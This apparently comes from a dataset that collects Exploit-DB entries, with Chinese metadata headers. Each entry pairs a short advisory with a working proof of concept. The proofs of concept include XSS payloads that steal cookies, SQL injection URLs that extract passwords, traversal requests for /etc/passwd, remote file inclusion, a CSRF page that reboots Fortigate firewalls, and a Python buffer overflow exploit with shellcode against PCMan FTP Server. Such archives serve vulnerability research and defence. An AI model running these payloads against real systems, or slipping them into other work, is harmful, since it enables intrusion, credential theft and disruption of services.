QLWD/code_shield huggingface dataset:
标题: VP-ASP Shopping Cart - 'Shopadmin.asp' HTML Injection EDB-ID: 26537 CVE: 2005-3685 类型: WEBAPPS 平台: ASP 发布日期: 2005-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/15490/info

VP-ASP Shopping Cart is prone to an HTML injection vulnerability. This is due to a lack of proper validation of user-supplied input before being used in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<TITLE>VP-ASP Shopping UserName HTML Injection Vulnerability</TITLE>
<form action=http://www.example.com/shopadmin.asp name=LoginForm method=POST>
<input type=hidden name=UserName value='"><script>alert("Vulnerable server!!!
By ConcorDHacK")</script>
<b><font color="red" size="10">Vulnerable server<br>By ConcorDHacK@gmail.com>
</font> </b>' /> <input type=hidden name=Password size="20" value="123"></td>
<input type=submit name="Login" value="GO ! GO !"><br><br><br>By ConcorDHacK<br>
<u>Email</u>: ConcorDHacK@gmail.com<br>
<a href="http://hackzord-security.fr.tc">www.hackzord-security.fr.tc</a>
</form>
</body>
</HTML> URL: https://www.exploit-db.com/exploits/26537
标题: Advanced Poll 2.0.2/2.0.3 - 'popup.php' Cross-Site Scripting EDB-ID: 26539 CVE: 2005-3742 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/15506/info

Advanced Poll is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/poll/popup.php?action=results&poll_ident="><script>alert("hola vengo a flotar");</script>

http://www.example.com/poll/popup.php?action=results&poll_ident="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/26539
标题: Inkscape 0.41/0.42 - '.SVG' Image Buffer Overflow EDB-ID: 26540 CVE: 2005-3737 类型: REMOTE 平台: LINUX 发布日期: 2005-11-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/15507/info

Inkscape is prone to a buffer overflow vulnerability. This issue is due to a failure in the application to do proper bounds checking on user-supplied data before copying it into a finite sized buffer.

When the application processes a malformed SVG image file, it results in a buffer overflow. An attacker can exploit this vulnerability to execute arbitrary code in the context of the victim user. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/26540.svg URL: https://www.exploit-db.com/exploits/26540
标题: Qualcomm WorldMail Server 3.0 - Directory Traversal EDB-ID: 26536 CVE: 2005-3189 类型: REMOTE 平台: LINUX 发布日期: 2005-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/15488/info

Qualcomm Worldmail server is prone to a directory traversal vulnerability.

Successful exploitation could allow an attacker to gain access to files owned by other users of the application.

Sensitive information may be obtained and modified in this manner.

Worldmail server version 3.0 is vulnerable; other versions may also be affected. 

c:\> telnet 1.2.3.4 143

* OK WorldMail IMAP4 Server 6.1.19.0 ready
1 login user1 user1
1 OK LOGIN completed

2 select /inbox
* 0 EXISTS
* OK [UNSEEN 0]
2 OK [READ-WRITE] opened /inbox

2 select ./../../administrator/inbox
* 1 EXISTS
* OK [UNSEEN 1] Message 1 is first unseen
2 OK [READ-WRITE] opened ./../../administrator/inbox

2 fetch 1 (RFC822.TEXT)
* 1 FETCH (RFC822.TEXT {131} URL: https://www.exploit-db.com/exploits/26536
标题: Fortigate Firewalls - Cross-Site Request Forgery EDB-ID: 26528 CVE: 2013-1414 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-07-01 漏洞利用脚本: Vulnerability ID: CVE-2013-1414
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Product: All Fortigate Firewalls
Vendor: Fortinet http://www.fortinet.com
Vulnerable Version: < 4.3.13 &  < 5.0.2
 
Description
==========
Because many  functions are not protected by CSRF-Tokens, it's possible (under certain conditions) to modify System-Settings, Firewall-Policies or take control over the hole firewall.
 
Requirements
===========
An Attacker needs to know the IP of the device.
An Administrator needs an authenticated connection to the device.
 
 
Report-Timeline:
================
Vendor Notification: 11 July 2012
Vendor released version 5.0.2   / 18 March 2013
Vendor released version 4.3.13 / 29 April 2013
Status: Fixed
 
Google Dork:
==========
 -english -help -printing  -companies -archive  -wizard -pastebin -adult -keywords "Warning: this page requires Javascript. To correctly view, please enable it in your browser"
 
 
Credit:
=====
Sven Wurth     dos@net-war.de
 
 
PoC
====
 
This  Example will reboot a Fortinet Firewall.
This is just one of many possibilities to attack this vulnerability.
 
##### CSRF - Proof Of Concept ####
<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
                action="https://###_VICTIM_IP_###/system/maintenance/shutdown" method="post">
                <input type="hidden" name="reason" value="">
                <input type="hidden" name="action" value="1">
                <input type="submit" name="add" value="rebootme">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>
##### End Poc ##### URL: https://www.exploit-db.com/exploits/26528
标题: PHPWCMS 1.2.5 -DEV - 'imgdir' Traversal Arbitrary File Access EDB-ID: 26513 CVE: 2005-3789 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15436/info
 
phpWCMS is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to obtain sensitive information that may help with further attacks on the affected computer. 

http://www.example.com/phpwcms/img/random_image.php?imgdir=../../../etc/ URL: https://www.exploit-db.com/exploits/26513
标题: PHPWCMS 1.2.5 -DEV - 'login.php?form_lang' Traversal Arbitrary File Access EDB-ID: 26512 CVE: 2005-3789 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15436/info

phpWCMS is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to obtain sensitive information that may help with further attacks on the affected computer. 

http://www.example.com/phpwcms/login.php?form_lang=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/26512
标题: Alstrasoft Template Seller Pro 3.25 - Remote File Inclusion EDB-ID: 26515 CVE: 2005-3797 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15441/info

Template Seller Pro is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/include/paymentplugins/payment_paypal.php?config[basepath]=http://www.example.com/[CODE]? URL: https://www.exploit-db.com/exploits/26515
标题: Ekinboard 1.0.3 - 'profile.php' Cross-Site Scripting EDB-ID: 26516 CVE: 2005-3638 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15447/info

Ekinboard is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/ekinboard/profile.php?id=2'%3E%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E URL: https://www.exploit-db.com/exploits/26516
标题: PHPWCMS 1.2.5 -DEV - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26514 CVE: 2005-3790 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15440/info

phpwcms is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpwcms/include/inc_act/act_newsletter.php?i=V:target@example.com:<script>alert(document.cookie)</script>)
http://www.example.com/phpwcms/include/inc_act/act_newsletter.php?text=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26514
标题: Pearl Forums 2.0 - 'index.php' Multiple SQL Injections EDB-ID: 26510 CVE: 2005-4647 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15425/info

Pearl Forums is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/support/index.php?mode=forums&forumId=[sql] URL: https://www.exploit-db.com/exploits/26510
标题: Walla TeleSite 3.0 - 'ts.exe?sug' Cross-Site Scripting EDB-ID: 26507 CVE: 2005-3577 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15419/info
 
Walla TeleSite is prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
 
Walla TeleSite is prone to information and path disclosure, file enumeration, SQL injection, and cross-site scripting attacks within the context of the victim's Web browser and the affected computer.
 
Other attacks are also possible.
 
Walla Telesite version 3.0 is affected; earlier versions are also affected. 

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%61%61%61'%20<script>alert()</script> URL: https://www.exploit-db.com/exploits/26507
标题: Help Center Live 1.0/1.2/2.0 - 'module.php' Local File Inclusion EDB-ID: 26502 CVE: 2005-3639 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15404/info

Help Center Live is prone to a local file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to disclose sensitive information. This may help with further attacks on the affected computer.

It should be noted that this issue may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server.

http://www.example.com/support/module.php?module=osTicket&file=/../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/26502
标题: Walla TeleSite 3.0 - 'ts.cgi' File Existence Enumeration EDB-ID: 26509 CVE: 2005-3579 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15419/info
   
Walla TeleSite is prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
   
Walla TeleSite is prone to information and path disclosure, file enumeration, SQL injection, and cross-site scripting attacks within the context of the victim's Web browser and the affected computer.
   
Other attacks are also possible.
   
Walla Telesite version 3.0 is affected; earlier versions are also affected. 

http://www.example.com/ts.cgi?c:\boot.ini
http://www.example.com/ts.cgi?c:\boot1.ini URL: https://www.exploit-db.com/exploits/26509
标题: Walla TeleSite 3.0 - 'ts.exe?tsurl' Arbitrary Article Access EDB-ID: 26506 CVE: 2005-3576 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15419/info

Walla TeleSite is prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.

Walla TeleSite is prone to information and path disclosure, file enumeration, SQL injection, and cross-site scripting attacks within the context of the victim's Web browser and the affected computer.

Other attacks are also possible.

Walla Telesite version 3.0 is affected; earlier versions are also affected. 

http://www.example.com/ts.exe?tsurl=0.1.0.0 URL: https://www.exploit-db.com/exploits/26506
标题: Wizz Forum - 'forumreply.php?TopicID' SQL Injection EDB-ID: 26504 CVE: 2005-3682 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15410/info
 
Wizz Forum is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ForumReply.php?TopicID=-10%20union%20select%201,userid,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1

http://www.example.com/ForumReply.php?TopicID=-10%20union%20select%201,password,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1 URL: https://www.exploit-db.com/exploits/26504
标题: PHPWebThings 1.4 - 'download.php?File' SQL Injection EDB-ID: 26500 CVE: 2005-3676 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15399/info

phpWebThings is prone to an SQL injection vulnerability. This is an input validation issue related to data that will be used in SQL queries, allowing a remote user to influence the structure and logic of a query.

It is likely that the issue could compromise the software. Depending on the database implementation and the nature of the affected query, it may also be possible to gain unauthorized access to the database. 

http://www.example.com/download.php?file=|SQL URL: https://www.exploit-db.com/exploits/26500
标题: Pearl Forums 2.0 - 'index.php' Local File Inclusion EDB-ID: 26511 CVE: 2005-4646 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15433/info

Pearl Forums is prone to a local file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to disclose sensitive information. This may help with further attacks on the affected computer.

It should be noted that this issue may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server.

http://www.example.com/support/index.php?mode=../../index URL: https://www.exploit-db.com/exploits/26511
标题: ActiveCampaign 1-2-All Broadcast Email 4.0 - Admin Control Panel 'Username' SQL Injection EDB-ID: 26501 CVE: 2005-3679 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/15400/info

ActiveCampaign 1-2-All Broadcast Email is prone to an SQL-injection vulnerability. This is an input-validation issue related to data that will be used in SQL queries, allowing a remote user to influence the structure and logic of a query.

Successful attacks could compromise the software. Depending on the database implementation and the nature of the affected query, the attacker may be able to gain unauthorized access to the database. 

http://www.example.com/[12allTarget]/admin/index.php

Username: ' or 1=1 /*
Password: (Nothing)(Blank) URL: https://www.exploit-db.com/exploits/26501
标题: Walla TeleSite 3.0 - 'ts.exe?sug' SQL Injection EDB-ID: 26508 CVE: 2005-3578 类型: WEBAPPS 平台: CGI 发布日期: 2005-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15419/info
  
Walla TeleSite is prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.
  
Walla TeleSite is prone to information and path disclosure, file enumeration, SQL injection, and cross-site scripting attacks within the context of the victim's Web browser and the affected computer.
  
Other attacks are also possible.
  
Walla Telesite version 3.0 is affected; earlier versions are also affected. 

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%61%61%61'%20and%20'1'='1

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%61%61%61'%20and%20'1'='2

http://www.example.com/ts.exe?tsurl=0.52.0.0&tsstmplt=search_tour&sug=%EF'%20or%201=1%20union%20all%20select%20top%201%20null,null,null,null,null,
null,null,null,null,'nuli','zulu','papa','qqq','rar','ewe',table_name,'asd','ttt','werwr','ryy','poo','polo','nike'%20from%20information_schema.columns-- URL: https://www.exploit-db.com/exploits/26508
标题: Wizz Forum - 'ForumAuthDetails.php?AuthID' SQL Injection EDB-ID: 26503 CVE: 2005-3682 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15410/info

Wizz Forum is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ForumAuthDetails.php?AuthID=-4654'%20union%20select%20password,userid,password,userid,5,6,7,"http://www.example.com",lastlogin,lastlogin,lastlogin,5465465464,8$ URL: https://www.exploit-db.com/exploits/26503
标题: Codegrrl - 'Protection.php' Code Execution EDB-ID: 26505 CVE: 2005-3571 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15417/info

Unspecified Codegrrl applications are prone to a remote arbitrary code execution vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this to execute arbitrary code in the context of the Web server process. This may facilitate a compromise of the system; other attacks are also possible. 

http://www.example.com/protection.php?action=logout&siteurl=http://www.example.com/malicoius-code.txt URL: https://www.exploit-db.com/exploits/26505
标题: PHPList Mailing List Manager 2.x - '/admin/users.php?find' Cross-Site Scripting EDB-ID: 26485 CVE: 2005-3556 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15350/info
    
PHPList is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly santize user-supplied input.
    
The application is prone to multiple cross-site scripting, HTTP injection, SQL injection and directory traversal vulnerabilities. 

http://www.example.com/lists/admin/?page=users&find="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26485
标题: PCMan FTP Server 2.0 - Remote Buffer Overflow EDB-ID: 26495 CVE: 2013-4730 类型: REMOTE 平台: WINDOWS 发布日期: 2013-06-30 漏洞利用脚本: #!/usr/bin/python
#
#
####################################################################
#
# Exploit Title: PCMan's FTP Server 2.0 Remote Buffer Overflow Exploit
# Date: 2013/6/26
# Exploit Author: Chako
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Download Link: https://files.secureserver.net/1sMltFOsytirTG
# Version: 2.0
# Tested on: Windows 7 SP1 English
#
# EAX 00000000
# ECX 00830A70
# EDX 00000030
# EBX 00000000
# ESP 0018ED70 ASCII "AAAAAAAAAAAAAAAAAAAAA
# EBP 01F214A0
# ESI 0018ED87 ASCII "AAAAAAAAAAAAAAAAAAAAA
# EDI 00000004
# EIP 41414141
#
####################################################################

import socket
import sys

USER    = "anonymous"
PASSWD  = "TEST"

PAYLOAD = "\x41" * 2010
EIP     = "\xDB\xFC\x1C\x75"  # 751CFCDB   JMP ESP USER32.DLL
NOP     = "\x90" * 10

SHELLCODE =(
   "\xba\x38\xdc\x15\x77\xdd\xc7\xd9\x74\x24\xf4\x5d\x33\xc9"
   "\xb1\x33\x83\xc5\x04\x31\x55\x0e\x03\x6d\xd2\xf7\x82\x71"
   "\x02\x7e\x6c\x89\xd3\xe1\xe4\x6c\xe2\x33\x92\xe5\x57\x84"
   "\xd0\xab\x5b\x6f\xb4\x5f\xef\x1d\x11\x50\x58\xab\x47\x5f"
   "\x59\x1d\x48\x33\x99\x3f\x34\x49\xce\x9f\x05\x82\x03\xe1"
   "\x42\xfe\xec\xb3\x1b\x75\x5e\x24\x2f\xcb\x63\x45\xff\x40"
   "\xdb\x3d\x7a\x96\xa8\xf7\x85\xc6\x01\x83\xce\xfe\x2a\xcb"
   "\xee\xff\xff\x0f\xd2\xb6\x74\xfb\xa0\x49\x5d\x35\x48\x78"
   "\xa1\x9a\x77\xb5\x2c\xe2\xb0\x71\xcf\x91\xca\x82\x72\xa2"
   "\x08\xf9\xa8\x27\x8d\x59\x3a\x9f\x75\x58\xef\x46\xfd\x56"
   "\x44\x0c\x59\x7a\x5b\xc1\xd1\x86\xd0\xe4\x35\x0f\xa2\xc2"
   "\x91\x54\x70\x6a\x83\x30\xd7\x93\xd3\x9c\x88\x31\x9f\x0e"
   "\xdc\x40\xc2\x44\x23\xc0\x78\x21\x23\xda\x82\x01\x4c\xeb"
   "\x09\xce\x0b\xf4\xdb\xab\xe4\xbe\x46\x9d\x6c\x67\x13\x9c"
   "\xf0\x98\xc9\xe2\x0c\x1b\xf8\x9a\xea\x03\x89\x9f\xb7\x83"
   "\x61\xed\xa8\x61\x86\x42\xc8\xa3\xe5\x05\x5a\x2f\xc4\xa0"
   "\xda\xca\x18");

print("\n\n[+] PCMan's FTP Server 2.0 Rrmote Buffer Overflow Exploit")
print("[+] Version: V2.0")
print("[+] Chako\n\n\n")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",21))
data = s.recv(1024)


print("[-] Login to FTP Server...\n")
s.send("USER " + USER + '\r\n')
data = s.recv(1024)

s.send("PASS " + PASSWD + '\r\n')
data = s.recv(1024)



print("[-] Sending exploit...\n")
s.send(PAYLOAD + EIP + NOP +SHELLCODE +'\r\n')
s.close()

print("[!] Done! Exploit successfully sent\n") URL: https://www.exploit-db.com/exploits/26495
标题: SAP Web Application Server 6.x/7.0 - Open Redirection EDB-ID: 26488 CVE: 2005-3634 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/15362/info

SAP Web Application Server is reported prone to a remote URI redirection vulnerability.

It is reported that an attacker can exploit this issue by supplying the URI of a malicious site through the 'sap-exiturl' parameter.

A successful attack may result in various attacks including theft of cookie-based authentication credentials. An attacker may also be able to exploit this vulnerability to enhance phishing style attacks.

This issue only affects the BSP runtime of SAP WAS. 

http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap--essioncmd=close&sapexiturl=http%3a%2f%2fwww.example.com URL: https://www.exploit-db.com/exploits/26488
标题: PHPList Mailing List Manager 2.x - '/admin/editattributes.php?id' SQL Injection EDB-ID: 26482 CVE: 2005-3555 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/15350/info
 
PHPList is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly santize user-supplied input.
 
The application is prone to multiple cross-site scripting, HTTP injection, SQL injection and directory traversal vulnerabilities. 

http://www.example.com/lists/admin/?page=editattributes&id=1'[SQL] URL: https://www.exploit-db.com/exploits/26482
标题: SAP Web Application Server 6.x/7.0 - Error Page Cross-Site Scripting EDB-ID: 26486 CVE: 2005-3636 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/15361/info

SAP Web Application Server is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue only affects the BSP runtime of SAP WAS. 

http://www.example.com/sap/bc/BSp/sap/index.html%3Cscript%3Ealert('xss')%3C/script%3E URL: https://www.exploit-db.com/exploits/26486